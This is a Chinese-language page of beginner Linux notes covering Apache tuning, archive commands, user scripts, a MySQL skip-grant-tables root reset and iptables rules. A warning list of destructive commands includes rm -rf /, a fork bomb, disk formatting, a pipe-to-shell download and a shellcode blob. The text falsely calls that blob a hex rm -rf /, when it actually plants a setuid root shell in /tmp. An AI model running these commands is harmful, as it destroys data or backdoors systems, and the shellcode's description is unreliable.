分类: 菜鸟Linux笔记

菜鸟学习LINUX笔记

  • 合理设置apache参数

    在/usr/local/etc/apache22/httpd.conf中加载MPM配置(去掉前面的注释):

    # Server-pool management (MPM specific)

    Include etc/apache22/extra/httpd-mpm.conf

    可见的MPM配置在/usr/local/etc/apache22/extra/httpd-mpm.conf,但里面根据httpd的工作模式分了很多块,哪一部才是当前httpd的工作模式呢?可通过执行 apachectl -l 来查看:

    Compiled in modules:

    core.c

    prefork.c

    http_core.c

    mod_so.c

    看到prefork 字眼,因此可见当前httpd应该是工作在prefork模式,prefork模式的默认配置是:

    <IfModule mpm_prefork_module>

    StartServers 5

    MinSpareServers 5

    MaxSpareServers 10

    MaxClients 150

    MaxRequestsPerChild 0

    </IfModule>

    2.要加到多少?

    连接数理论上当然是支持越大越好,但要在服务器的能力范围内,这跟服务器的CPU、内存、带宽等都有关系。

    查看当前的连接数可以用:

    ps aux | grep httpd | wc -l

    或:

    pgrep httpd|wc -l

    计算httpd占用内存的平均数:

    ps aux|grep -v grep|awk ‘/httpd/{sum+=$6;n++};END{print sum/n}’

    由于基本都是静态页面,CPU消耗很低,每进程占用内存也不算多,大约200K。

    服务器内存有2G,除去常规启动的服务大约需要500M(保守估计),还剩1.5G可用,那么理论上可以支持1.5*1024*1024*1024/200000 = 8053.06368

    约8K个进程,支持2W人同时访问应该是没有问题的(能保证其中8K的人访问很快,其他的可能需要等待1、2秒才能连上,而一旦连上就会很流畅)

    控制最大连接数的MaxClients ,因此可以尝试配置为:

    <IfModule mpm_prefork_module>

    StartServers 5

    MinSpareServers 5

    MaxSpareServers 10

    ServerLimit 5500

    MaxClients 5000

    MaxRequestsPerChild 100

    </IfModule>

    注意,MaxClients默认最大为250,若要超过这个值就要显式设置ServerLimit,且ServerLimit要放在MaxClients之前,值要不小于MaxClients,不然重启httpd时会有提示。

    重启httpd后,通过反复执行pgrep httpd|wc -l 来观察连接数,可以看到连接数在达到MaxClients的设值后不再增加,但此时访问网站也很流畅,那就不用贪心再设置更高的值了,不然以后如果网站访问突增不小心就会耗光服务器内存,可根据以后访问压力趋势及内存的占用变化再逐渐调整,直到找到一个最优的设置值。

    (MaxRequestsPerChild不能设置为0,可能会因内存泄露导致服务器崩溃)

    更佳最大值计算的公式:

    apache_max_process_with_good_perfermance < (total_hardware_memory / apache_memory_per_process ) * 2

    apache_max_process = apache_max_process_with_good_perfermance * 1.5

  • Linux删除某一个目录下所有指定文件名的文件

    find /home/kevin/test -name *.txt -exec rm -f {} \;

    find 是一个强大的搜索命令 -name 选项用来搜索符合条件的文件 搜到之后用-exec 选项来执行命令rm -rf {}进行删除.

  • 7 个致命的 Linux 命令

    如果你是一个 Linux 新手,在好奇心的驱使下,可能会去尝试从各个渠道获得的命令。以下是 7 个致命的 Linux 命令,轻则使你的数据造成丢失,重则使你的系统造成瘫痪,所以,你应当竭力避免在系统中运行它们。

    1、rm -rf / 此命令将递归并强制删除 / 目录下的所有文件。

    2、

    char esp[] __attribute__ ((section(“.text”))) /* e.s.p

    release */

    = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”

    “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”

    “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”

    “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”

    “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”

    “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”

    “\x6e\x2f\x73\x68\x00\x2d\x63\x00”

    “cp -p /bin/sh /tmp/.beyond; chmod 4755

    /tmp/.beyond;”;

    这是 rm -rf / 的 hex(十六进制)版本,很能迷惑 Linux 用户。

    3、mkfs.ext3 /dev/sda 这将对硬盘进行重新格式化,自然,硬盘上的所有数据将灰飞烟灭。

    4、:(){ :|:& };: 著名的 fork 炸弹,此命令将告诉你的系统执行海量的进程,直到你的系统僵死。

    5、any_command > /dev/sda 使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。

    6、wget http://some_untrusted_source -O- | sh 不要从不信任的地方下载东西,这可能会获取恶意代码。

    7、mv /home/yourhomedirectory/* /dev/null 此命令将移动主目录中的所有文件到一个不存在的地方,你将再也看不到那些文件。

  • linux 解压命令总结

    .tar

    解包:tar xvf FileName.tar

    打包:tar cvf FileName.tar DirName

    (注:tar是打包,不是压缩!)

    ———————————————

    .gz

    解压1:gunzip FileName.gz

    解压2:gzip -d FileName.gz

    压缩:gzip FileName

    .tar.gz 和 .tgz

    解压:tar zxvf FileName.tar.gz

    压缩:tar zcvf FileName.tar.gz DirName

    ———————————————

    .bz2

    解压1:bzip2 -d FileName.bz2

    解压2:bunzip2 FileName.bz2

    压缩: bzip2 -z FileName

    .tar.bz2

    解压:tar jxvf FileName.tar.bz2

    压缩:tar jcvf FileName.tar.bz2 DirName

    ———————————————

    .bz

    解压1:bzip2 -d FileName.bz

    解压2:bunzip2 FileName.bz

    压缩:未知

    .tar.bz

    解压:tar jxvf FileName.tar.bz

    压缩:未知

    ———————————————

    .Z

    解压:uncompress FileName.Z

    压缩:compress FileName

    .tar.Z

    解压:tar Zxvf FileName.tar.Z

    压缩:tar Zcvf FileName.tar.Z DirName

    ———————————————

    .zip

    解压:unzip FileName.zip

    压缩:zip FileName.zip DirName

    ———————————————

    .rar

    解压:rar x FileName.rar

    压缩:rar a FileName.rar DirName

     

    rar请到:http://www.rarsoft.com/download.htm 下载!

    解压后请将rar_static拷贝到/usr/bin目录(其他由$PATH环境变量指定的目录也可以):

    [root@www2 tmp]# cp rar_static /usr/bin/rar

    ———————————————

    .lha

    解压:lha -e FileName.lha

    压缩:lha -a FileName.lha FileName

     

    lha请到:http://www.infor.kanazawa-it.ac.jp/~ishii/lhaunix/下载!

    >解压后请将lha拷贝到/usr/bin目录(其他由$PATH环境变量指定的目录也可以):

    [root@www2 tmp]# cp lha /usr/bin/

    ———————————————

    .rpm

    解包:rpm2cpio FileName.rpm | cpio -div

    ———————————————

    .deb

    解包:ar p FileName.deb data.tar.gz | tar zxf –

    ———————————————

    .tar .tgz .tar.gz .tar.Z .tar.bz .tar.bz2 .zip .cpio .rpm .deb .slp .arj .rar .ace .lha .lzh .lzx .lzs .arc .sda .sfx .lnx .zoo .cab .kar .cpt .pit .sit .sea

    解压:sEx x FileName.*

    压缩:sEx a FileName.* FileName

     

    sEx只是调用相关程序,本身并无压缩、解压功能,请注意!

    sEx请到: http://sourceforge.net/projects/sex下载!

    解压后请将sEx拷贝到/usr/bin目录(其他由$PATH环境变量指定的目录也可以):

    [root@www2 tmp]# cp sEx /usr/bin/

    gzip 命令

     

    减少文件大小有两个明显的好处,一是可以减少存储空间,二是通过网络传输文件时,可以减少传输的时间。gzip 是在 Linux 系统中经常使用的一个对文件进行压缩和解压缩的命令,既方便又好用。

    语法:gzip [选项] 压缩(解压缩)的文件名

     

    该命令的各选项含义如下:

    -c 将输出写到标准输出上,并保留原有文件。

    -d 将压缩文件解压。

    -l 对每个压缩文件,显示下列字段:

    压缩文件的大小;未压缩文件的大小;压缩比;未压缩文件的名字

    -r 递归式地查找指定目录并压缩其中的所有文件或者是解压缩。

    -t 测试,检查压缩文件是否完整。

    -v 对每一个压缩和解压的文件,显示文件名和压缩比。

    -num 用指定的数字 num 调整压缩的速度,-1 或 –fast 表示最快压缩方法(低压缩比),

    -9 或–best表示最慢压缩方法(高压缩比)。系统缺省值为 6。

     

     

    指令实例:

    gzip *

    % 把当前目录下的每个文件压缩成 .gz 文件。

     

    gzip -dv *

    % 把当前目录下每个压缩的文件解压,并列出详细的信息。

     

    gzip -l *

    % 详细显示例1中每个压缩的文件的信息,并不解压。

     

    gzip usr.tar

    % 压缩 tar 备份文件 usr.tar,此时压缩文件的扩展名为.tar.gz。

  • linux下创建/删除用户

    #/bin/bash

     

    del_user() {

    echo “请输入用户名:”

    read user

    echo “请确认是否删除(y/n)?”

    read isDel

    if [ $isDel = ‘y’ ]; then

    userdel -r $user

    echo -e “\t\t\t\t|——————————|”

    echo -e “\t\t\t\t|——- 用户 ‘$user’ 已删除 ——|”

    echo -e “\t\t\t\t|——————————|”

    fi

    }

     

    add_user() {

    echo “请输入用户名:”

    read user

    useradd $user -d /work/$user

    passwd $user

    echo -e “\t\t\t\t|——————————|”

    echo -e “\t\t\t\t|——- 用户 “$user” 已创建 ——|”

    echo -e “\t\t\t\t|——————————|”

    }

     

    menu() {

    while :

    do

    echo “1.添加用户”

    echo “2.删除用户”

    echo “0.退出”

    echo -e “\n请选择:”

    read choice

    case $choice in

    1) add_user;;

    2) del_user;;

    0) exit;;

    *) menu;;

    esac

    done

    }

     

    menu

  • Linux Shell 调用系统时间变量

    Shell 调用系统时间变量

     

    获取今天时期:`date +%Y%m%d` 或 `date +%F` 或 $(date +%y%m%d)

    获取昨天时期:`date -d yesterday +%Y%m%d`

    获取前天日期:`date -d -2day +%Y%m%d`

    依次类推比如获取10天前的日期:`date -d -10day +%Y%m%d`

    或n天前的 `date -d “n days ago” +%y%m%d`

    明天:`date -d tomorrow +%y%m%d`

    注意以上中间有空格

     

    时间域

    % H 小时(00..23)

    % I 小时(01..12)

    % k 小时(0..23)

    % l 小时(1..12)

    % M 分(00..59)

    % p 显示出AM或PM

    % r 时间(hh:mm:ss AM或PM),12小时

    % s 从1970年1月1日00:00:00到目前经历的秒数

    % S 秒(00..59)

    % T 时间(24小时制)(hh:mm:ss)

    % X 显示时间的格式(%H:%M:%S)

    % Z 时区 日期域

    % a 星期几的简称( Sun..Sat)

    % A 星期几的全称( Sunday..Saturday)

    % b 月的简称(Jan..Dec)

    % B 月的全称(January..December)

    % c 日期和时间( Mon Nov 8 14:12:46 CST 1999)

    % d 一个月的第几天(01..31)

    % D 日期(mm/dd/yy)

    % h 和%b选项相同

    % j 一年的第几天(001..366)

    % m 月(01..12)

    % w 一个星期的第几天(0代表星期天)

    % W 一年的第几个星期(00..53,星期一为第一天)

    % x 显示日期的格式(mm/dd/yy)

    % y 年的最后两个数字( 1999则是99)

    % Y 年(例如:1970,1996等)

    注意:只有超级用户才有权限使用date命令设置时间,一般用户只能使用date命令显示时间。

  • Access denied for user ‘root’@’localhost’ (using password: NO)

    # /etc/init.d/mysql stop

    # mysqld_safe ——user=mysql ——skip-grant-tables  ——skip-networking &

    # mysql -u root mysql

    mysql> UPDATE user SET password=PASSWORD(’newpassword’) where USER=’root’;

    mysql> FLUSH PRIVILEGES;

    mysql> quit

    # /etc/init.d/mysql restart

    # mysql -uroot -p

    Enter password: <输入新设的密码newpassword>

    mysql>

  • iptables配置文件的格式语法

    #头两行是注释说明

    # Firewall configuration written by system-config-securitylevel

    # Manual customization of this file is not recommended.

     

    #使用filter表

    *filter

     

    #下面四条内容定义了内建的INPUT、FORWAARD、ACCEPT链,还创建了一个被称为RH-Firewall-1-INPUT 的新链

    :INPUT ACCEPT [0:0]

    :FORWARD ACCEPT [0:0]

    :OUTPUT ACCEPT [0:0]

    :RH-Firewall-1-INPUT – [0:0]

     

    #将所有流入的数据写入到日志文件中

    -A INPUT -j LOG –log-level crit

     

    #下面这条规则将添加到INPUT链上,所有发往INPUT链上的数据包将跳转到RH-Firewall-1 //链上。

    -A INPUT -j RH-Firewall-1-INPUT

     

    #下面这条规则将添加到FORWARD链上,所有发往INPUT链上的数据包将跳转到RH-Firewall-1 //链上。

    -A FORWARD -j RH-Firewall-1-INPUT

     

    #下面这条规则将被添加到RH-Firewall-1-input链。它可以匹配所有的数据包,其中流入接口(-i)//是一个环路接口(lo)。

    #匹配这条规则的数据包将全部通过(ACCEPT),不会再使用别的规则来和它们进行比较

    -A RH-Firewall-1-INPUT -i lo -j ACCEPT

     

    #下面这条规则是拒绝所有的icmp包-p 后是协议如:icmp、tcp、udp。端口是在-p后面–sport源端口,–dport目的端口。-j 指定数据包发送的

    #目的地址如:ACCEPT、DROP、QUEUE等等

    -A RH-Firewall-1-INPUT -p icmp –icmp-type any -j DROP

    -A RH-Firewall-1-INPUT -p 50 -j ACCEPT

    -A RH-Firewall-1-INPUT -p 51 -j ACCEPT

    -A RH-Firewall-1-INPUT -p udp –dport 5353 -d 224.0.0.251 -j ACCEPT

    -A RH-Firewall-1-INPUT -p udp -m udp –dport 631 -j ACCEPT

    -A RH-Firewall-1-INPUT -p tcp -m tcp –dport 631 -j ACCEPT

    -A RH-Firewall-1-INPUT -m state –state ESTABLISHED,RELATED -j ACCEPT

    #-m state –state ESTABLISHED,RELATED这个条件表示所有处于ESTABLISHED或者RELATED状态的包,策略都是接受的。

    #-m state –state NEW 这个条件是当connection的状态为初始连接(NEW)时候的策略。

    -A RH-Firewall-1-INPUT -m state –state NEW -m tcp -p tcp –dport 21 -j ACCEPT

    -A RH-Firewall-1-INPUT -m state –state NEW -m tcp -p tcp –dport 2049 -j ACCEPT

    -A RH-Firewall-1-INPUT -m state –state NEW -m tcp -p tcp –dport 22 -j ACCEPT

    -A RH-Firewall-1-INPUT -m state –state NEW -m udp -p udp –dport 137 -j ACCEPT

    -A RH-Firewall-1-INPUT -m state –state NEW -m udp -p udp –dport 138 -j ACCEPT

    -A RH-Firewall-1-INPUT -m state –state NEW -m tcp -p tcp –dport 139 -j ACCEPT

    -A RH-Firewall-1-INPUT -m state –state NEW -m tcp -p tcp –dport 445 -j ACCEPT

    -A RH-Firewall-1-INPUT -m state –state NEW -m tcp -p tcp –dport 23 -j ACCEPT

    -A RH-Firewall-1-INPUT -m state –state NEW -m tcp -p tcp –dport 80 -j DROP -s 222.221.7.84

    -A RH-Firewall-1-INPUT -m state –state NEW -m tcp -p tcp –dport 80 -j ACCEPT

    -A RH-Firewall-1-INPUT -m state –state NEW -m tcp -p tcp –dport 443 -j ACCEPT

    -A RH-Firewall-1-INPUT -m state –state NEW -m tcp -p tcp –dport 25 -j ACCEPT

    -A RH-Firewall-1-INPUT -j REJECT –reject-with icmp-host-prohibited

    COMMIT

     

  • Linux Iptables Firewall Shell Script For Standalone Server

    #!/bin/bash

    # A Linux Shell Script with common rules for IPTABLES Firewall.

    # By default this script only open port 80, 22, 53 (input)

    # All outgoing traffic is allowed (default – output)

    # ————————————————————————-

    # Copyright (c) 2004 nixCraft project <http://cyberciti.biz/fb/>

    # This script is licensed under GNU GPL version 2.0 or above

    # ————————————————————————-

    # This script is part of nixCraft shell script collection (NSSC)

    # Visit http://bash.cyberciti.biz/ for more information.

    # ————————————————————————-

     

    IPT=”/sbin/iptables”

    SPAMLIST=”blockedip”

    SPAMDROPMSG=”BLOCKED IP DROP”

     

    echo “Starting IPv4 Wall…”

    $IPT -F

    $IPT -X

    $IPT -t nat -F

    $IPT -t nat -X

    $IPT -t mangle -F

    $IPT -t mangle -X

    modprobe ip_conntrack

     

    [ -f /root/scripts/blocked.ips.txt ] && BADIPS=$(egrep -v -E “^#|^$” /root/scripts/blocked.ips.txt)

     

    PUB_IF=”eth0″

     

    #unlimited

    $IPT -A INPUT -i lo -j ACCEPT

    $IPT -A OUTPUT -o lo -j ACCEPT

     

    # DROP all incomming traffic

    $IPT -P INPUT DROP

    $IPT -P OUTPUT DROP

    $IPT -P FORWARD DROP

     

    if [ -f /root/scripts/blocked.ips.txt ];

    then

    # create a new iptables list

    $IPT -N $SPAMLIST

     

    for ipblock in $BADIPS

    do

    $IPT -A $SPAMLIST -s $ipblock -j LOG –log-prefix “$SPAMDROPMSG”

    $IPT -A $SPAMLIST -s $ipblock -j DROP

    done

     

    $IPT -I INPUT -j $SPAMLIST

    $IPT -I OUTPUT -j $SPAMLIST

    $IPT -I FORWARD -j $SPAMLIST

    fi

     

    # Block sync

    $IPT -A INPUT -i ${PUB_IF} -p tcp ! –syn -m state –state NEW -m limit –limit 5/m –limit-burst 7 -j LOG –log-level 4 –log-prefix “Drop Sync”

    $IPT -A INPUT -i ${PUB_IF} -p tcp ! –syn -m state –state NEW -j DROP

     

    # Block Fragments

    $IPT -A INPUT -i ${PUB_IF} -f -m limit –limit 5/m –limit-burst 7 -j LOG –log-level 4 –log-prefix “Fragments Packets”

    $IPT -A INPUT -i ${PUB_IF} -f -j DROP

     

    # Block bad stuff

    $IPT -A INPUT -i ${PUB_IF} -p tcp –tcp-flags ALL FIN,URG,PSH -j DROP

    $IPT -A INPUT -i ${PUB_IF} -p tcp –tcp-flags ALL ALL -j DROP

     

    $IPT -A INPUT -i ${PUB_IF} -p tcp –tcp-flags ALL NONE -m limit –limit 5/m –limit-burst 7 -j LOG –log-level 4 –log-prefix “NULL Packets”

    $IPT -A INPUT -i ${PUB_IF} -p tcp –tcp-flags ALL NONE -j DROP # NULL packets

     

    $IPT -A INPUT -i ${PUB_IF} -p tcp –tcp-flags SYN,RST SYN,RST -j DROP

     

    $IPT -A INPUT -i ${PUB_IF} -p tcp –tcp-flags SYN,FIN SYN,FIN -m limit –limit 5/m –limit-burst 7 -j LOG –log-level 4 –log-prefix “XMAS Packets”

    $IPT -A INPUT -i ${PUB_IF} -p tcp –tcp-flags SYN,FIN SYN,FIN -j DROP #XMAS

     

    $IPT -A INPUT -i ${PUB_IF} -p tcp –tcp-flags FIN,ACK FIN -m limit –limit 5/m –limit-burst 7 -j LOG –log-level 4 –log-prefix “Fin Packets Scan”

    $IPT -A INPUT -i ${PUB_IF} -p tcp –tcp-flags FIN,ACK FIN -j DROP # FIN packet scans

     

    $IPT -A INPUT -i ${PUB_IF} -p tcp –tcp-flags ALL SYN,RST,ACK,FIN,URG -j DROP

     

    # Allow full outgoing connection but no incomming stuff

    $IPT -A INPUT -i eth0 -m state –state ESTABLISHED,RELATED -j ACCEPT

    $IPT -A OUTPUT -o eth0 -m state –state NEW,ESTABLISHED,RELATED -j ACCEPT

     

    # Allow ssh

    $IPT -A INPUT -p tcp –destination-port 22 -j ACCEPT

     

    # allow incomming ICMP ping pong stuff

    $IPT -A INPUT -p icmp –icmp-type 8 -m state –state NEW,ESTABLISHED,RELATED -j ACCEPT

    $IPT -A OUTPUT -p icmp –icmp-type 0 -m state –state ESTABLISHED,RELATED -j ACCEPT

     

    # Allow port 53 tcp/udp (DNS Server)

    $IPT -A INPUT -p udp –dport 53 -m state –state NEW,ESTABLISHED,RELATED -j ACCEPT

    $IPT -A OUTPUT -p udp –sport 53 -m state –state ESTABLISHED,RELATED -j ACCEPT

     

    $IPT -A INPUT -p tcp –destination-port 53 -m state –state NEW,ESTABLISHED,RELATED -j ACCEPT

    $IPT -A OUTPUT -p tcp –sport 53 -m state –state ESTABLISHED,RELATED -j ACCEPT

     

    # Open port 80

    $IPT -A INPUT -p tcp –destination-port 80 -j ACCEPT

    ##### Add your rules below ######

     

    ##### END your rules ############

     

    # Do not log smb/windows sharing packets – too much logging

    $IPT -A INPUT -p tcp -i eth0 –dport 137:139 -j REJECT

    $IPT -A INPUT -p udp -i eth0 –dport 137:139 -j REJECT

     

    # log everything else and drop

    $IPT -A INPUT -j LOG

    $IPT -A FORWARD -j LOG

    $IPT -A INPUT -j DROP

    exit 0

    ———————————————————

    How do I install and use this script?

    Type the following command as root server:

    # mkdir /root/scripts

    # cd /root/scripts

    # wget http://bash.cyberciti.biz/dl/381.sh.zip

    # wget http://bash.cyberciti.biz/dl/151.sh.zip

    # unzip 381.sh.zip

    # unzip 151.sh.zip

    # mv 381.sh start.fw

    # mv 151.sh stop.fw

    # chmod +x *.fw

    Now edit firewall as per your requirements:
    # vi /root/scripts/start.fw
    Install firewall:
    # echo '/root/scripts/start.fw' >> /etc/rc.local

    How do I start firewall from a shell prompt?

    # /root/scripts/start.fw

    How do I stop firewall from a shell prompt?

    # /root/scripts/stop.fw

  • 查看debian版本

    root@shaobo:~# cat /etc/issue

    Debian GNU/Linux 6.0 \n \l

     

     

    root@shaobo:~# cat /proc/version

    Linux version 2.6.32-5-amd64 (Debian 2.6.32-35) (dannf@debian.org) (gcc version 4.3.5 (Debian 4.3.5-4) ) #1 SMP Tue Jun 14 09:42:28 UTC 2011

     

     

    root@shaobo:~# lsb_release -a

    No LSB modules are available.

    Distributor ID: Debian

    Description: Debian GNU/Linux 6.0.2 (squeeze)

    Release: 6.0.2

    Codename: squeeze